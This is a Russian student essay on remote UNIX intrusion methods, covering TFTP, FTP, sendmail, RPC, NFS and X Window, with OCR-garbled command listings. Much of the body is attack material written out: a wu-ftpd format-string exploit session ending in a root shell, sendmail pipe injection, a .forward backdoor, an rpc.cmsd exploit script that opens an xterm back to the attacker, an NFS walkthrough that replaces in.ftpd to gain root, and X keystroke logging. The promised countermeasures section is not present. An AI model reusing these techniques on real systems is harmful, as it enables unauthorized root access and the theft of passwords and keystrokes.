Методы удаленного взлома

Оглавление

Введение3

I. Часто используемые методы удаленного взлома 4

TFTP4

FTP5

Sendmail7

Службы удаленного вызова процедур RPC9

NFS12

Проблема защиты систем X19

Атаки на систему  DNS21

II. Контрмеры от часто используемых методов удаленного взлома24

Заключение28

Список литературы29 

 

Введение

То, что  информация имеет ценность, люди осознали очень давно – не даром переписка  сильных мира сего издавна была объектом пристального внимания их недругов и  друзей. Информация приобрела самостоятельную коммерческую ценность и стала широко распространенным, почти обычным товаром. Ее производят, хранят, транспортируют, продают и покупают, а значит – воруют и подделывают – и, следовательно, ее необходимо защищать. Современное общество все в большей степени становится информационно–обусловленным, успех любого вида деятельности все сильней зависит от обладания определенными сведениями и от отсутствия их у конкурентов.  И чем сильней проявляется указанный эффект, тем больше потенциальные убытки от злоупотреблений в информационной сфере, и тем больше потребность в защите информации. 

В современном  мире, когда времена проводных  локальных сетей несколько отошли на задний план, перед «любителями  взлома» встала новая задача –  как получить доступ к информации удаленной системы.

И целью  моей работы стало изучение основных видов несанкционированного доступа  к удаленной системе и способов защиты от них.

 

I. Часто используемые методы удаленного взлома

1. TFTP

Протокол TFTP (Trivial File Transfer Protocol — простой протокол передачи файлов) обычно используется для загрузки бездисковых рабочих станций или сетевых устройств, таких как маршрутизаторы. TFTP — это основанный на UDP протокол, который использует порт 69 и характеризуется очень низким уровнем безопасности. Практически каждый случай, когда взломщик встречает систему, на которой запущен сервер TFTP, заканчивается попыткой получения через TFTP копии файла /etc/passwd. Если сервер TFTP не настроен должным образом, это приводит к тому, что система без малейшего сопротивления позволяет скопировать этот файл. Тем самым в руки взломщика попадает файл с информацией о пользовательских именах, после чего он может попробовать подобрать пароль. Кроме того, если пароли не хранятся в файле /etc/shadow, то, помимо пользовательских имен, взломщик получает также и зашифрованные пароли, в результате чего им может быть предпринята попытка их взлома или подбора.  
Многие последние версии TFTP по умолчанию настроены таким образом, что разрешают доступ только к каталогу /tftpboot. Это очень хорошая мера предосторожности, однако все же возможность получения файлов с диска взламываемого компьютера, пусть даже лишь из одного каталога /tftpboot, может угрожать безопасности. Например, злоумышленник может найти в нем важные конфигурационные файлы маршрутизаторов. имена которых обычно имеют вид <имя_узла_маршрутизатора> .cfg. Во многих случаях взломщик также сможет получить доступ к паролям маршрутизатора и строкам доступа SNMP. Нам приходилось встречать целые сети, взломанные в течение нескольких часов с помощью подключения к незащищенному TFTP-серверу и получения от него конфигурационных файлов маршрутизаторов. Извлечь из этих файлов пароли и строки доступа SNMP — это лишь дело техники. Как правило, эти сведения оказываются идентичными для каждого сетевого устройства.

 

2. FTP

В настоящее  время протокол FTP (File Transfer Protocol), позволяющий  обмениваться файлами с удаленными системами, является одним из наиболее популярных. Это одна из причин, по которым  он часто используется для несанкционированного доступа к удаленным системам или скрытной записи файлов. Многие FTP-серверы разрешают анонимный  доступ, т.е. позволяют подключаться любому пользователю без какой-либо аутентификации. Обычно при этом файловая система, доступная анонимному пользователю, ограничивается определенными каталогами. Однако иногда бывает так, что анонимный  пользователь может получить доступ к любому каталогу и файлу системы. Такая оплошность системного администратора дает возможность взломщику найти  важные конфигурационные файлы, прежде всего /etc/passwd. Что еще хуже, многие FTP-серверы позволяют всем пользователям  записывать информацию в свои каталоги. Такая "гремучая смесь" является "миной замедленного действия", подложенной под систему защиты. Например, взломщик может поместить  файл .rhosts в личный каталог пользователя, чтобы впоследствии подключиться к  системе с помощью утилиты rlogin. Кроме того, многие FTP-серверы взломаны охотниками за программным обеспечением, которые помешают нелегальные программы  в скрытых каталогах. Поэтому, если нагрузка на вашу сеть возрастет за день в три раза, это может служить  косвенным признаком того, что  вашу систему используют для копирования  очередной пиратской копии.  
Помимо риска, связанного с разрешением анонимных подключений, FTP-серверы вносят свою лепту и в создание проблем, возникающих при переполнении буфера и других нарушениях. Одно из таких слабых мест было недавно обнаружено в системах, использующих для поддержки протокола FTP программу wu-ftpd 2.6.0 и ее более ранние версии (ftp://ftp.auscert.org.au/pub/auscert/advisory/AA-2000.02). Эта ошибка связана с неправильной проверкой аргументов в нескольких вызовах функций, обеспечивающих возможность использования на узле ограниченного набора команд. Однако при этом взломщик может применить специальные форматы вывода символов, используемые функцией printf () (%f, %p, %n и т.д.) и выполнить произвольный код с привилегиями root. Вот как выглядит такая атака, примененная к системе RedHat 6.2. 

[thunder]# wugod -t 192.168.1.10 -sO 
Target: 192.168.1.10 (ftp/<shellcode>):  
RedHat 6.2 (?) with wuftpd 
2.6.0(1) from rpm 
Return Address: 0x08075844, AddrRetAddr:  
Oxbfffb028, Shellcode: 152  
loggin into system. 
USER ftp 
331 Guest login ok, send your complete e-mail address as password. 
PASS <shellcode> 
230-Next time please use your e-mail address as your password 
230-for example: joe@thunder 
230 Guest login ok, access restrictions apply. 
STEP 2 : Skipping, magic number already exists: 
[87,01:03,02:01,01:02,04] 
STEP 3 : Checking if we can reach our  
return address by format string 
STEP 4 : Ptr address test: Oxbfffb028  
(if it is not Oxbfffb028 ^С 
me now) 
STEP 5 : Sending code., 
this will take about 10 seconds. Press ^\ 
to leave shell 
Linux shadow 2.2.14-5.0  
#1 Tue Mar 7 21:07:39 EST 2000 1686 unknown 
uid=0(root) gid=0(root) egid=50(ftp) groups=50(ftp)

Подобная  атака оказывается поистине смертельной. Анонимного доступа к уязвимому FTP-серверу, который поддерживает выполнение определенных команд, вполне достаточно, чтобы получить доступ с правами root.

 

3. Sendmail

Программа sendmail — это агент рассылки электронной  почты (МТА — mail transfer agent), используемый во многих системах UNIX. Из всех программ UNIX sendmail, пожалуй, является самой "вредной". Она обладает очень широким набором  функций, в связи с чем позволяет  настраивать свои параметры самыми разными способами и является очень сложной в использовании. Фактически о первых попытках взлома sendmail стало известно еще в 1988 году и с тех пор ее использовали для получения несанкционированного доступа к нескольким тысячам  систем. Одно время была даже популярной такая шутка: "Какая ошибка в sendmail признана лучшей ошибкой недели?" В течение последних лет sendmail была значительно улучшена в плане  безопасности, но она по-прежнему остается очень большой программой, исходный код которой содержит более 80000 строк. Таким образом, вероятность обнаружения  новых изъянов в системе зашиты по-прежнему достаточно велика. C помощью программы sendmail, а точнее ее команд vrfy и ехрп, можно идентифицировать пользовательские учетные записи. Это само по себе представляет угрозу, однако данная угроза — ничто по сравнению с той опасностью, которую таит в себе работающая программа sendmail. За десять последних лет в sendmail были выявлены целые россыпи изъянов защиты. К сожалению, необходимо констатировать, что список ее недостатков еще далеко не полон — несмотря на столь давний срок эксплуатации, в программе постоянно обнаруживаются новые и новые проблемы. Многие из этих проблем связаны с возникновением состояния переполнения буфера при удаленном подключении, а также с возможностью взлома при отсутствии проверки ввода. Одним из самых популярных методов взлома sendmail заключался в использовании недостатка sendmail 4.1, проявляющегося при перенаправлении ввода-вывода. Суть проблемы состояла в том, что взломщик с использованием конвейера мог направить программе sendmail команды для выполнения. При этом sendmail выполняла любую команду с привилегиями, которые применялись для программ, расположенных в каталоге bin. 

hello 
mail from: | 
rcpt to: bounce 
data 
mail from: bin 
rcpt to: | sed 4,/^$/d' | sh 
data

Помимо  универсальных методов, направленных на переполнение буфера или взлом  при отсутствии проверки ввода, для  получения несанкционированного доступа  часто применяются средства, специфичные  для sendmail. Например, одним из распространенных методов является создание или модификация  пользовательского файла -/.forward с применением FTP или NFS при условии, конечно, что у взломщика имеется доступ для записи в рабочий каталог этого пользователя. В файле -/.forward обычно содержатся сведения о том, куда нужно перенаправлять почтовые сообщения или какие программы нужно запускать при ее поступлении. Очевидно, что для взломщика этот файл представляет собой "лакомый кусочек", а его модификация открывает перед злоумышленником весьма богатые возможности. Рассмотрим пример того, что взломщик может добавить в файл ~/.forward выбранной им жертвы. 

[tsunami]$ cat > .forward 
|"op /bin/sh /home/gk/evil_shell ;  
chmod 755 /home/gk/evil_shell" 
<crtl> D 
[tsunami]$ cat .forward 
I"cp /bin/sh /home/gk/evil_shell ;  
chmod 755 /home/gk/evil_shell"

Создав  такой файл, взломщик помещает его  в соответствующий пользовательский каталог взламываемой системы (естественно, при условии, что у него имеется  право записи в этот каталог). Затем  ему остается лишь отправить почту  по адресу жертвы. [tsunami]$ echo hello chump | mail [email protected]  
Получение сообщения приведет к созданию в рабочем каталоге пользователя файла evil_shell. При запуске этого файла будет запущена командная оболочка с привилегиями, соответствующими уровню привилегий использованной взломщиком учетной записи.

 

4. Службы удаленного вызова процедур (RPC)

Удаленный вызов процедур (RPC — Remote Procedure Call) —  это механизм, который позволяет  программе, работающей на одном компьютере, выполнять программный код на удаленном компьютере. Одна из первых реализаций службы RPC была разработана  компанией Sun Microsystems и использовалась в системе, базирующейся на протоколе XDR (внешнее представление данных — eXtemal Data Representation). Целью этой системы  было обеспечение взаимодействия сетевой  информационной службы (NIS — Network Information System) и сетевой файловой системы (NFS — Network File System), созданных компанией Sun. После разработки компанией Sun Microsystems службы RPC многие другие производители  операционных систем семейства UNIX также  стали включать поддержку RPC в свои продукты. С точки зрения обеспечения  взаимодействия распространение и  стандартизация RPC — это очень  важно и полезно. Однако при разработке службы RPC вопросам безопасности практически  не уделялось никакого внимания. Несмотря на то что и компания Sun, и другие разработчики приложили все усилия, для того, чтобы устранить имеющиеся  недостатки в уже используемом программном  обеспечении и выпустить соответствующие  модули обновления, нередко оказывается, что механизм RPC по-прежнему таит в  себе немало проблем, связанных с  огромным количеством ошибок в системе  защиты. 

При запуске службы RPC регистрируются с помощью службы преобразования портов (portmapper). Для того чтобы установить связь со службой RPC, у службы portmapper необходимо запросить номер порта RPC. Ранее уже рассматривался метод получения списка запущенных служб RPC, заключающийся в сканировании портов с использованием утилиты rpcinfo или параметра -n (если служба portmapper блокируется на уровне брандмауэра). К сожалению, во многих версиях UNIX после загрузки по умолчанию включается режим поддержки RPC. Но это еще полбеды — настоящая проблема состоит в том, что многие службы RPC очень сложны и работают на уровне привилегий суперпользователя root. Таким образом, успешный взлом путем переполнения буфера или при отсутствии проверки ввода приведет к немедленному получению доступа в качестве суперпользователя. На момент написания данной книги взлому путем переполнения буфера были наиболее подвержены службы rpc. ttdbserverd (http: //www. cert.org/advisories/CA-98.11.tooltalk.html) И rpc.cmsd (http://www.cert. org/advisories/CA-99-08-cmsd.html), являющиеся частью стандартного рабочего стола (Common Desktop Environment — CDE). Поскольку обе службы работают на уровне привилегий суперпользователя, взломщику достаточно вызвать состояние переполнения буфера и создать обратный канал, воспользовавшись программой xterm либо установив реверсивный telnet-сеанс. К другим не менее опасным службам RPC относятся rpc. statd (http://www.cert.org/advisories/CA-99-05-statd-automountd.html) и rpc.mountd, которые оказываются активными при использовании сетевой файловой системы NFS (см. раздел "Nfs" ниже в этой главе). Даже если служба преобразования портов заблокирована, взломщик может вручную просканировать порты и попытаться выявить активные службы RPC (с помощью параметра -sR утилиты nmар), с которыми обычно связаны порты с большими номерами. Вышеупомянутые службы представляют собой лишь несколько примеров проблем, которые может создать поддержка механизма RPC. Благодаря распределенной природе служб RPC и высокой сложности их компонентов, этот механизм часто является жертвой злоумышленников, что и продемонстрировано в следующем фрагменте. 

[rumble]* cmsd.sh quake  
192.168.1.11 2 192.168.1.103 
Executing exploit... 
rtable_create worked 
clnt__call[rtable_insert]: RPC:  
Unable to receive; errno=Connection 
reset 
by peer

Как показано ниже, эту атаку позволяет упростить  простой сценарий оболочки, в котором  вызывается утилита cmsd. При этом необходимо знать имя удаленного узла. В рассматриваемом  примере таким именем является quake. Кроме того, используется также IP-адрес  этого узла, 192.168.1.11, а также тип  системы (2), что эквивалентно системе Solaris 2.6. Эта информация оказывается  чрезвычайно важной, поскольку утилита "приспосабливается" к каждой конкретной системе. И наконец, мы указали  также IP-адрес компьютера взломщика (192 .168 .1.103) и установили обратный канал  с использованием программы xterm

Этого же результата можно достигнуть при  использовании служб rpc. ttdbserverd или rpc. statd

#!/bin/sh 
if [ $# -It 4 ]; then 
echo "Rpc.cmsd buffer overflow for  
Solaris 2.5 & 2.6 7" 
echo "If rpcinfo -p target_ip 1grep 
100068 = true - you win!" 
echo "Don't forget to xhost+ the target system"  
echo "" 
echo "Usage: $0 target_hostname target_ip < 
0/S version (1-7)> your_ip"  
exit 1 
fi 
echo "Executing exploit..." 
cmsd -h $1 -c "/usr/openwin/bin/xterm -display 
$4:0.0 &" $3 $2

 

5. NFS

В документах компании Sun Microsystems можно встретить  такое определение: "Сеть — это  и есть компьютер". Действительно, возможности компьютера, не подключенного  к сети, гораздо уже, чем его  собрата, включенного в локальную  или глобальную сеть. Возможно, именно из-за этого сетевая файловая система (NFS — Network File System) является одной из самых популярных файловых систем, предназначенных для поддержки  сетевой обработки данных. Система NFS обеспечивает пользователям и  приложениям прозрачный доступ к  файлам и каталогам удаленных  систем, как если бы эти файлы  и каталоги были локальными. NFS была разработана компанией Sun Microsystems, и  за годы, прошедшие после выхода версий 1 и 2, была значительно усовершенствована. В настоящее время система NFS версии 3 используется в большинстве современных  клонов UNIX. Именно поэтому администратор  любой системы, разрешающей удаленный  доступ к экспортируемой файловой системе, должен быть особенно бдительным. Вероятность  использования системы NFS для проникновения  в сеть очень высока, а нарушения  такого рода являются одними из самых  распространенных нарушений безопасности UNIX. Это связано, во-первых, с тем, что в сервере NFS (mountd) уже выявлено очень много потенциальных ошибок, приводящих к переполнению буфера. Кроме того, системой NFS используются службы RPC, что позволяет взломщикам смонтировать удаленную файловую систему. Большинство проблем, связанных с безопасностью NFS, имеет то или иное отношение к объектам, называемым дескрипторами файлов (file handle). Дескрипторы файлов — это уникальные маркеры, предназначенные для идентификации файлов и каталогов удаленного сервера. Если взломщику удастся выведать или подобрать дескриптор удаленного файла, он сможет легко получить к нему доступ.  
Чаще всего проблемы с системой NFS связаны с ее неправильной настройкой, когда экспортирование файловой системы разрешено любому пользователю (everyone). Иными словами, любой удаленный пользователь может смонтировать файловую систему, не проходя аутентификации. Эта проблема относится к разряду тех, которые возникают из-за лени или халатности некоторых администраторов и встречаются сплошь и рядом. Взломщику даже не нужно взламывать такую удаленную систему — все что требуется, это смонтировать файловую систему с помощью средств NFS и найти любой интересующий его файл. Обычно можно экспортировать рабочие каталоги пользователей так, что с помощью удаленного доступа можно получить множество интересных файлов (например, целые базы данных). Более того, экспортируется даже корневой каталог, о последствиях чего даже не нужно говорить! Рассмотрим один пример, а затем рассмотрим инструменты, с помощью которых из системы NFS можно извлечь дополнительную пользу. Итак, проверим интересующую нас систему и определим, используется ли в ней система NFS и какие файловые системы экспортируются (если таковые имеются, конечно). 

[tsunami]# rpcinfo -p quake 
program vers proto port 
100000 4 tcp 111 rpcbind 
100000 3 tcp 111 rpcbind 
100000 2 tcp 111 rpcbind 
100000 4 udp 111 rpcbind 
100000 3 udp 111 rpcbind 
100000 2 udp 111 rpcbind 
100235 1 tcp 32771 
100068 2 udp 32772 
100068 3 udp 32772 
100068 4 udp 32772 
100068 5 udp 32772 
100024 1 udp 32773 status 
100024 1 tcp 32773 status 
100083 1 tcp 32772 
100021 1 udp 4045 nlockmgr 
100021 2 udp 4045 nlockmgr 
100021 3 udp 4045 nlockmgr 
100021 4 udp 4045 nlockmgr 
100021 1 tcp 4045 nlockmgr 
100021 2 tcp 4045 nlockmgr 
100021 3 tcp 4045 nlockmgr 
100021 4 tcp 4045 nlockmgr 
300598 1 udp 32780 
300598 1 tcp 32775 
805306368 1 udp 32780 
805306368 1 tcp 32775 
100249 1 udp 32781 
100249 1 tcp 32776 
1342177279 4 tcp 32777 
1342177279 1 tcp 32777 
1342177279 3 tcp 32777 
1342177279 2 tcp 32777 
100005 1 udp 32845 mountd 
100005 2 udp 32845 mountd 
100005 3 udp 32845 mountd 
100005 1 tcp 32811 mountd 
100005 2 tcp 32811 mountd 
100005 3 tcp 32811 mountd 
100003 2 udp 2049 nfs 
100003 3 udp 2049 nfs 
100227 2 udp 2049 nfs_acl 
1C0227 3 udp 2049 nfs_acl 
100003 2 tcp 2049 nfs 
100003 3 tcp 2049 nfs 
100227 2 tcp 2049 nfs_acl 
100227 3 tcp 2049 nfs_acl

Обратившись к службе преобразования портов, на основе полученных результатов можно  сделать вывод о том, что на удаленной системе запушены серверы NFS и mountd. Это означает, что данная система может экспортировать как  минимум одну файловую систему. 

[tsunami]# showmount -е quake 
Export list for quake: 
/ (everyone! 
/usr (everyone)

Из результатов, полученных с помощью команды showmount, видно, что в рассматриваемом  примере экспортируемыми является не только файловая система /usr, но и /, что  связано с очень большим риском. Все, что нужно сделать взломщику  для получения доступа к такой  системе, — это воспользоваться  командой mount / или mount /usr. После этого  он получит доступ к любому файлу  файловой системы / или /usr, в соответствии с разрешениями, заданными для  файлов и каталогов. Команда mount входит в состав большинства клонов UNIX, хотя она оказывается и не такой  гибкой, как некоторые другие средства. Для того чтобы познакомиться  с особенностями использования  команды mount более подробно, введите  команду man mount, так как в некоторых  случаях ее синтаксис может отличаться от того, который вы увидите в  приведенном ниже примере. [tsunami /root]# mount quake:/ /mnt  Другим, более удобным, инструментом исследования системы NFS является пакет nfsshell, разработанный Линдертом Ван Дорном (Leendert van Doom), которую можно найти по адресу ftp://ftp.cs.vu.nl/pub/leendert/nfsshell.tar.gz. В состав пакета nfsshell входит робастный клиент nfs. Этот клиент функционирует подобно клиенту FTP и позволяет легко манипулировать удаленной файловой системой. Многочисленные параметры nfs заслуживают того, чтобы привести их в данной книге. 

[tsunami n£s]# nfs 
nfs> help 
host <host> - установка имени удаленного узла 
uid [<uid> <secret-key>]] - установка идентификатора удаленного 
пользователя 
gid [<gid>] - установка идентификатора удаленной группы 
cd [<path>j - изменение рабочего каталога на удаленном узле 
led [<path>] - изменение рабочего каталога на локальном узле 
cat <filespec> - вывод на экран заданного файла 
Is -I <filespec> - просмотр содержимого удаленного каталога 
get <fiiespec> - получение удаленного файла 
df - информация о файловой системе 
rm <file> - удаление файла на удаленном узле 
in <filel> <f.ile2> - создание ссылки на файл 
rnv <filel> <file2> - перемещение файла 
mkdir <dir> - создание каталога на удаленном узле 
rmdir <dir> - удаление каталога на удаленном узле 
chmod <mode> <file> - изменение атрибутов файла 
chown <uid>[.<gid>] <file> - изменение владельца 
put. <Iccal-file> [<remote-file>] - отправка локального файла 
mount [-upTU] [-P port] <path> - монтирование файловой системы 
umount - демонтирование удаленной файловой системы 
umountall - демонтирование всех удаленных файловых систем 
export - просмотр списка всех экспортируемых файловых систем 
dump - просмотр всех смонтированных удаленных файловых систем 
status - вывод отчета о состоянии 
help - вывод данной информации 
quit - название говорит само за себя 
bye - good bye handle [<handle>] - просмотр/установка дескриптора файла каталога 
mknod <name> [b/c major minor] [p] - создание устройства

Сначала нужно сообщить утилите nfs, файловую систему какого узла необходимо смонтировать. 

nfs> host quake 
Using a privileged port (1022) 
Open quake (192.168.1.10) TCP

Затем посмотрим, какие файловые системы можно  экспортировать. 

nfs> export 
Export list for quake: 
/ everyone 
/usr everyone

Теперь, чтобы получить доступ к файловой системе, необходимо ее смонтировать. 

nfs> mount / 
Using a privileged port (1021) 
Mount '/', TCP, transfer size 8192 bytes

Проверим  состояние соединения и определим  идентификатор UID, с которым была смонтирована файловая система. 

nfs> status 
User id : -2  
Group id :-2  
Remote host :'quake' 
Mount path :' / ' 
Transfer size : 8192

Итак, мы смонтировали файловую систему / с идентификаторами UID и GID, равными -2. Из соображений безопасности, если вы монтируете удаленную систему  как суперпользователь root, ваши идентификаторы UID и GID подменяются другими значениями, отличными от 0. Поскольку мы смонтировали всю файловую систему, теперь без  труда можно увидеть содержимое файла /etc/passwd. 

nfs> cd /etc 
nfs> cat passwd 
root:x:0:1:Super-User:/:/sbin/sh 
daemon:x:1:1::/: 
bin:x:2:2::/usr/bin: 
sys:x:3:3::/: 
adm:x:4:4:Admin:/var/adm: 
Ip:x:71:8:Line Printer Admin:/usr/spool/lp: 
smtp:x:0:0:Mail Daemon User:/: 
uucp:x:5:5:uucp Admin:/usr/lib/uucp: 
nuucp:x:9:9:uucp  
Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico 
listen:x:37:4:Network Admin:/usr/net/nls: 
nobody:x:60001:60001:Nobody: /: 
noaccess:x:60002:60002:No Access User:/: 
nobody4:x:65534:65534:SunOS 4.x Nobody:/: 
gk:x:1001:10::/export/home/gk:/bin/sh 
sm:x:lC03:10::/export/home/sm:/bin/sh

Итак, теперь нам известны имена пользователей  и соответствующие им идентификаторы. Однако файл паролей является скрытым (shadowed), поэтому им нельзя воспользоваться  для взлома паролей. Поскольку мы не можем взломать ни одного пароля и, соответственно, не можем смонтировать файловую систему в качестве суперпользователя, необходимо определить другие идентификаторы пользователей, которые позволяют  получить привилегированный доступ. Таким пользователем может оказаться daemon, но лучше всего остановить выбор  на учетной записи bin. или UID 2, так  как на многих системах пользователь bin является владельцем исполняемых  файлов. Если взломщик сможет получить доступ к исполняемым файлам посредством системы NFS или каким-либо другим способом, то у большинства систем в таком случае не останется ни единого шанса на выживание. Затем нужно смонтировать систему /usr, изменить идентификаторы UID и GID, а затем попытаться получить доступ к исполняемым файлам.  

nfs> mount /usr 
Using a privileged port(1022) 
Mount '/usr', TCP, transfer size 8192 bytes. 
nfs> uid 2 
nfs> gid 2  
nfs> status  
User id : 2  
Group id : 2  
Remote host: 'quake' 
Mount path : '/usr' 
Transfer size : 8192

Теперь  мы обладаем всеми привилегиями, которыми обладает пользователь bin на удаленной  системе. В нашем примере файловая система не была экспортирована с  какими-то специальными параметрами, которые  ограничивали бы возможности пользователя bin по созданию или модификации файлов. Поэтому все, что осталось сделать, — это запустить программу xterm или создать обратный канал к  нашей системе, который позволит получить доступ к взламываемой системе. Создадим на нашей системе следующий сценарий и сохраним его в файле in. f tpd. 

tt!/bin/sh 
/usr/openwin/bin/xterm -display 10.10.10.10:0.0 &

Теперь  нужно перейти в каталог /sbin удаленной  системы и заменить исходный файл in. ftpd нашей версией. 

nfs> cd /sbin 
nfs> put in.ftpd

И наконец, необходимо указать, чтобы удаленный  сервер подключился к Х-серверу  нашего узла с помощью команды xhost. Для этого нужно ввести следующие команды. 

[tsunami]# xhost +quake 
quake being added to access control list 
[tsunami]# ftp quake 
Connected to quake.

В результате выполнения всех этих действий наша система  станет X-терминалом удаленного узла с  привилегиями root. Ввиду того что  в этой системе файл in. ftpd вызывается из файла inetd с привилегиями суперпользователя, наш сценарий также будет выполнен с этими привилегиями, что означает получение доступа в качестве суперпользователя. 

# id 
uid=0{root)gid=0(root) 
#

 

6. Проблемы защиты системы X

Система X Window предоставляет богатый набор  функций, позволяющий многим программам одновременно использовать один и тот  же графический дисплей. Но с точки  зрения безопасности самой большой  проблемой системы X Windows является реализованная  в ней модель защиты, которую коротко  можно охарактеризовать так: "Все  или ничего". После того как  клиент получил доступ к Х-серверу, ему выдается полная индульгенция. Клиенты X могут перехватывать нажатия  клавиш на пользовательской консоли, закрывать  окна, захватывать любые окна сервера  и отображать их содержимое где угодно, и даже переключать клавиатуру на свою, независимо от того, какие клавиши  нажимает пользователь. Многие проблемы основываются на слабой парадигме управления доступом или полном равнодушии системного администратора. Самой простой и  популярной формой управления доступом к X является аутентификация с использованием команды xhost. Данный механизм обеспечивает управление доступом на основе IP-адреса и является при этом наиболее слабой формой аутентификации. Для удобства работы системный администратор  может ввести команду xhost +, что позволит получить доступ к Х-серверу без  какой-либо аутентификации любому локальному или удаленному пользователю (при  использовании параметра + доступ к  серверу разрешен для всех узлов). Что еще хуже, многие Х-серверы, работающие на платформе PC, по умолчанию настроены  именно на использование команды xhost +, подвергая тем самым огромной опасности ничего не подозревающих  пользователей. Этим, казалось бы незначительным, недостатком могут воспользоваться злоумышленники. 

Одной из лучших программ, предназначенной  для идентификации Х-серверов, у  которых включен режим xhost +, является утилита xscan. С ее помощью можно  выполнить сканирование всей подсети, найти в ней открытые Х-серверы  и записать все нажатия клавиш в файл журнала. 

[tsunami]$ xscan quake 
Scanning hostname quake ... 
Connecting to quake (192.168.1.10) on port 6000... 
Connected. 
Host quake is running X. 
Starting keyboard logging of host quake:0.0 to file KEYLOGquake:0.0...

Теперь все  клавиши, нажимаемые на клавиатуре удаленного компьютера, будут регистрироваться в файле KEYLOG.quake. 

[tsunami]$ tail -f KEYLOG.quake:0.0 
su - 
[Shift_L]Iamowned[Shift_R]!

Затем достаточно воспользоваться командой tail, чтобы увидеть, что набирает на клавиатуре пользователь в режиме реального  времени. В нашем примере пользователь ввел команду su, а затем, в ответ  на приглашение, — пароль lamowned! (утилита xscan умеет даже определять нажатие  клавиш <Shift>).  
Также просто определить, какие окна открыты на взломанной системе. Для этого взломщик сначала должен установить шестнадцатеричное значение идентификатора окна с помощью команды xlwins. 

[tsunami]! xlswins -display quake:0.0 Igrep -i netscape 
0x1000001 (Netscape) 
0x1000246 (Netscape) 
0x1000561 (Netscape: OpenBSD)

Программа xlswins отображает много информации, поэтому  в нашем примере мы используем утилиту grep, чтобы установить, запушен  ли броузер Netscape. К счастью, нам повезло  — броузер Netscape действительно запущен  на удаленном компьютере. Однако ничего не мешает просмотреть все выдаваемые утилитой xlswins результаты и найти  интересующие вас окна, не полагаясь  на удачу. Теперь, для того чтобы  увидеть окно Netscape на своем компьютере, мы воспользуемся программой XWatchWin.

[tsunami]# xwatchwin quake -w 0x1000561 

Указывая  идентификаторы окон, можно просматривать  их содержимое на своем компьютере, незаметно наблюдая за всеми действиями, которые выполняет пользователь. Даже если на взламываемом компьютере включен режим xhost -, взломщик может получить копию экрана консоли сеанса пользователя с помощью утилизы xwd. Для этого достаточно, чтобы у взломщика был локальный доступ к командной оболочке, а на взламываемом сервере использовалась лишь стандартная аутентификация xhost.  

[quake]$ xwd -root -display localhost:0.0 > dump.xwd 

Теперь, чтобы увидеть копию экрана, просто скопируйте файл на свой компьютер, воспользовавшись утилитой xwud.  

[tsunami]# xwud -in dump.xwd 

На этом перечень возможностей взломщика далеко не исчерпан. Он может, например, просто связать эмулятор клавиатуры KeySym с  требуемым окном. После этого  нажатия клавиш на клавиатуре злоумышленника будут отправляться программе xterm удаленной  системы и обрабатываться так, как  если бы они вводились на локальной  клавиатуре этой системы.

С помощью  утилиты XWatchWin можно удаленно просмотреть  окно практически любого приложения рабочего стола

Методы удаленного взлома